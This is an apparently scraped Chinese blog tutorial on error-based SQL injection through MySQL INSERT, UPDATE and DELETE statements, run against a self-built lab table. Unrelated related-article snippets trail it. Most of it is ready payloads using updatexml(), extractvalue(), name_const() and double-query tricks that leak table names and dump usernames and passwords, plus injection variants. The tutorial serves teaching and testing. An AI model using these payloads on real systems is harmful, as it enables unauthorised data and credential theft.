SQL Injection with INSERT/UPDATE/DELETE

前言:相比基于查询的SQL注入,使用insert、update和delete进行SQL注入显得略显另类

参考自:http://www.exploit-db.com/wp-content/themes/exploit/docs/33253.pdf

0x1 准备条件

  a. mysql数据库

  b. 创建用于实验的数据库和表

Create database newdb;
 use newdb
 CREATE TABLE users
 (
 id int(3) NOT NULL AUTO_INCREMENT,
 username varchar(20) NOT NULL,
 password varchar(20) NOT NULL,
 PRIMARY KEY (id)
 );

  c. 添加部分数据 : INSERT INTO users (id, username, password) VALUES (1, ‘r00tgrok‘, ‘ohmygod_is_r00tgrok‘);

0x2  使用updatexml()函数  // xpath injection

  1. 注入

  a. 载荷格式 :or updatexml(1,concat(0x7e,(version())),0) or

  b. insert注入:INSERT INTO users (id, username, password) VALUES (2,‘Pseudo_Z‘ or updatexml(1,concat(0x7e,(version())),0) or‘‘, ‘security-eng‘);

  c. update注入:UPDATE users SET password=‘security-eng‘ or updatexml(2,concat(0x7e,(version())),0) or‘‘ WHERE id=2 and username=‘Pseudo_Z‘;

  d. delete注入:DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(version())),0) or‘‘;

  2. 提取数据

  a. 载荷格式:

  or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or

  b. insert提取表名:  

INSERT INTO users (id, username, password) VALUES (2,‘r00tgrok‘ or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or ‘‘, ‘ohmygod_is_r00tgrok‘);

c. insert提取列名

INSERT INTO users (id, username, password) VALUES (2,‘r00tgrok‘ or updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name=‘users‘ limit 0,1)),0) or ‘‘, ‘ohmygod_is_r00tgrok‘);

  d. insert进行dump

INSERT INTO users (id, username, password) VALUES (2,‘r00tgrok‘ or updatexml(0,concat(0x7e,(SELECT concat_ws(‘:‘,id, username, password) FROM users limit 0,1)),0) or ‘‘, ‘ohmygod_is_r00tgrok‘);

e. delete进行dump

  DELETE FROM users WHERE id=1 or updatexml(0,concat(0x7e,(SELECT concat_ws(‘:‘,id, username, password) FROM users limit 0,1)),0) or ‘‘;

  f.update进行dump ?

  同一个表不能用update进行dump,不同的表却可以

  UPDATE students SET name=‘Nicky‘ or Updatexml(1,concat(0x7e,(SELECT concat_ws(‘:‘,id, username, password) FROM newdb.users limit 0,1)),0) or‘‘   WHERE id=1;

  3.小贴士

  a.报错,然后爆出了要提取的信息

  b. 按照作者paper上的代码,mysql5.6.19, 前面提取信息成功,后面dump报错:[Err] 1093 - You can‘t specify target table ‘users‘ for update in FROM clause

  c. google之,给出找到的两个参考:

  case1:

 //报错代码  DELETE FROM table_name where coulmn_name IN (SELECT coulmn_name FROM table_name  WHERE coulmn_name > 10);

  //修正代码  DELETE FROM table_name where coulmn_name IN ( SELECT * FROM (SELECT coulmn_name FROM table_name WHERE coulmn_name >          10) AS X) ;

  //说明    不能删除子查询指向的相同数据源中的行,update同理 

  case2:

CREATE TABLE comments(id int primary key, phrase text, uid int);

INSERT INTO comments VALUES(1, ‘admin user comments‘,1),
                           (2, ‘HR User Comments‘,2),
                           (3, ‘RH User Comments‘,2);
UPDATE comments
     SET phrase = (SELECT phrase FROM comments WHERE uid=2 AND id=2)
WHERE id = 3; 

  修复代码:

UPDATE comments
   SET phrase =( SELECT phrase FROM
             (
                SELECT * FROM comments
             )
                 AS c1
                 WHERE c1.uid=2 AND c1.id=2
               ) WHERE id =3;

  说明:当你同时使用子查询读取相同的数据时,mysql不允许update、delete表中的数据;mysql会将from语句中的子查询作为一个临时表,将子查询封装到from语句中更深  层的子查询中会使其被执行并存储的临时表中,然后在外部子查询中隐式引用

  4. updatexml()[ 返回被替换的XML段], updatexml()是mysql中的XML函数,还有一个为extractvalue() [使用Xpath符号从xml字符串中提取值],也是下文要用到的

  eg.   SET @xml = ‘<a><b>X</b><b>Y</b></a>‘;

      SET @i =1, @j = 2;       SELECT @i, ExtractValue(@xml, ‘//b[[email protected]]‘);

  //ExtractValue(xml_fragxpath_expr)   //UpdateXML(xml_target, xpath_expr, new_xml)

  Xpath有较多限制,如不支持节点集的比较,不支持string()等函数,另外Xpath注入类似于SQL注入,语法上略有不同

0x3 使用extractvalue()函数

  a. 载荷格式:or extractvalue(1,concat(0x7e,database())) or

  b. 注入:

   INSERT INTO users (id, username, password) VALUES (2,‘r00tgrok‘ or extractvalue(1,concat(0x7e,database())) or‘‘, ‘Pseudo_Z‘);

    UPDATE users SET password=‘Nicky‘ or extractvalue(1,concat(0x7e,database())) or‘‘ WHERE id=2 and username=‘Pseudo_Z‘;

    DELETE FROM users WHERE id=1 or extractvalue(1,concat(0x7e,database())) or‘‘;

  c.提取数据 

INSERT INTO users (id, username, password) VALUES (2,‘r00tgrok‘ or extractvalue(1,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1))) or‘‘, ‘balabala‘);

  dump操作及update、delete方法同上updatexml()

0x4 使用name_const() //5.0.13中引入,返回任何给定的值

  a. 载荷格式: or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or

  b. 注入:  

UPDATE users SET password=‘Nicky‘ or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or ‘‘ WHERE  id=2 and username=‘Pseudo_Z‘;

c. 提取数据

INSERT INTO users (id, username, password) VALUES (1,‘admin‘ or (SELECT*FROM(SELECT name_const((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 0,1),1),name_const(( SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 0,1),1))a) or ‘‘, ‘oyyoug0d‘);

0x5 二次查询注入  //mysql没有二次查询,因此使用子查询  

1. 注入

INSERT INTO users (id, username, password) VALUES (1,‘r00tgrok‘ or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM  information_schema.columns group by x)a) or‘‘, ‘Bl4ckhat‘);

DELETE FROM users WHERE id=1 or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a)or‘‘ ;

  2. 提取数据  

INSERT INTO users (id, username, password) VALUES (1, ‘Pseudo_Z‘ or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT  concat(0x7e,0x27,cast(users.username as char),0x27,0x7e) FROM `newdb`.users LIMIT 0,1) ) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or ‘‘, ‘jesus-2014‘);

0x6 其他变种

‘ or (payload) or ‘  ‘ and (payload) and ‘  ‘ or (payload) and ‘  ‘ or (payload) and ‘=‘  ‘* (payload) *‘  ‘ or (payload) and ‘  " – (payload) – "

附:http://websec.ca/kb/sql_injection

时间: 2024-11-06 18:31:20

SQL Injection with INSERT/UPDATE/DELETE的相关文章

LINQ体验(9)——LINQ to SQL语句之Insert/Update/Delete操作

我们继续讲解LINQ to SQL语句,这篇我们来讨论Insert/Update/Delete操作.这个在我们的程序中最为常用了.我们直接看例子. Insert/Update/Delete操作 插入(Insert) 1.简单形式 说明:new一个对象,使用InsertOnSubmit方法将其加入到对应的集合中,使用SubmitChanges()提交到数据库. NorthwindDataContext db = new NorthwindDataContext(); var newCustomer

元素类型为 &quot;mapper&quot; 的内容必须匹配 &quot;(cache-ref|cache|resultMap*|parameterMap*|sql*|insert*|update*|delete*|select)

在配置ssm框架的时候,写mapper映射文件的时候会出现 元素类型为 "mapper" 的内容必须匹配 "(cache-ref|cache|resultMap*|parameterMap*|sql*|insert*|update*|delete*|select) 有时候编译的时候会出现这个bug,是因为在前面写了注释.导致了执行顺序的问题.需要把一些注释删掉,就可以正常执行了. /*mapper动态开发*/ <mapper namespace="com.ss

数据库编程3 Oracle 子查询 insert update delete 事务 回收站 字段操作 企业级项目案例

[本文谢绝转载原文来自http://990487026.blog.51cto.com] <大纲> 数据库编程3 Oracle 子查询 insert update delete 事务 回收站 字段操作 企业级项目案例 实验所用数据表 子查询,解决一步不能求解 查询工资比scott高的员工信息: 子查询知识体系搭建: 解释3,查询部门是sales的员工信息: 方法1:子查询 [方法2]:多表: 优化考虑: 解释4[select],只能放单行子查询 解释4[from] 考题:显示员工姓名,薪水 解释

linux下mysql Insert update delete 事务 用户管理

linux下mysql Insert update delete  事务 用户管理 1.INSERT插入语句格式: INSERT INTO tb_name (字段1, 字段2, ...) VALUES (值1,值2, ...)[,(值1, 值2, ...),...]; INSERT INTO 表名 SET 字段1=值1,字段2=值2,...; INSERT INTO 表名 (字段1,字段2,...) SELECT (字段1,字段2,...) FROM 表名 [WHERE 条件]; 2.REPLA

mybatis insert update delete返回都是整型 0,1,增,删,改要提交事物

mybatis insert update delete返回都是整型 0,1, 没有扔 增,删,改要提交事物 原文地址:https://www.cnblogs.com/gzhbk/p/9499293.html

SQL Server 2008中SQL增强之三:Merge(在一条语句中使用Insert,Update,Delete)

SQL Server 2008提供了一个增强的SQL命令Merge,用法参看MSDN:http://msdn.microsoft.com/zh-cn/library/bb510625.aspx 功能:根据与源表联接的结果,对目标表执行插入.更新或删除操作.例如,根据在另一个表中找到的差异在一个表中插入.更新或删除行,可以对两个表进行同步. 我们看一个例子,假如,有一总产品列表,一个分店产品列表,需要从分店添加产品时更新总产品列表. 总产品表,分店产品表结构完全一致: if OBJECT_ID('

linux之SQL语句简明教程---UPDATE DELETE FROM

我们有时候可能会需要修改表格中的资料.在这个时候,我们就需要用到 UPDATE 指令.这个指令的语法是: UPDATE "表格名" SET "栏位1" = [新值] WHERE "条件"; 最容易了解这个语法的方式是透过一个例子.假设我们有以下的表格: Store_Information 表格 Store_Name Sales Txn_Date Los Angeles 1500 05-Jan-1999 San Diego 250 07-Jan-1

SQL系列(十二)—— insert update delete

前言 这个系列的前面都一直在介绍查询select.但是SQL中十分广泛,按对数据的不同处理可以分为: DML:全称Data Manipulation Language,从名字上可以看出,DML是对数据的维护管理语言,主要是处理数据本身: DDL:全称Data Definition Language,同样从名字上可以看出,DDL数据定义语言,主要用来操作库.表.视图.索引等,主要是对数据结构的操作: DCL:全称Data Control Language,从名字可以看出,是数据控制语言,主要用来控

SQL Server 2008中SQL增强之三:Merge(在一条语句中使用Insert,Update,Delete) 一条语句实现两表同步(添加、删除、修改)

MERGE 目标表 USING 源表 ON 匹配条件 WHEN MATCHED THEN 语句 WHEN NOT MATCHED THEN 语句; http://www.chinaz.com/program/2010/1014/137713.shtml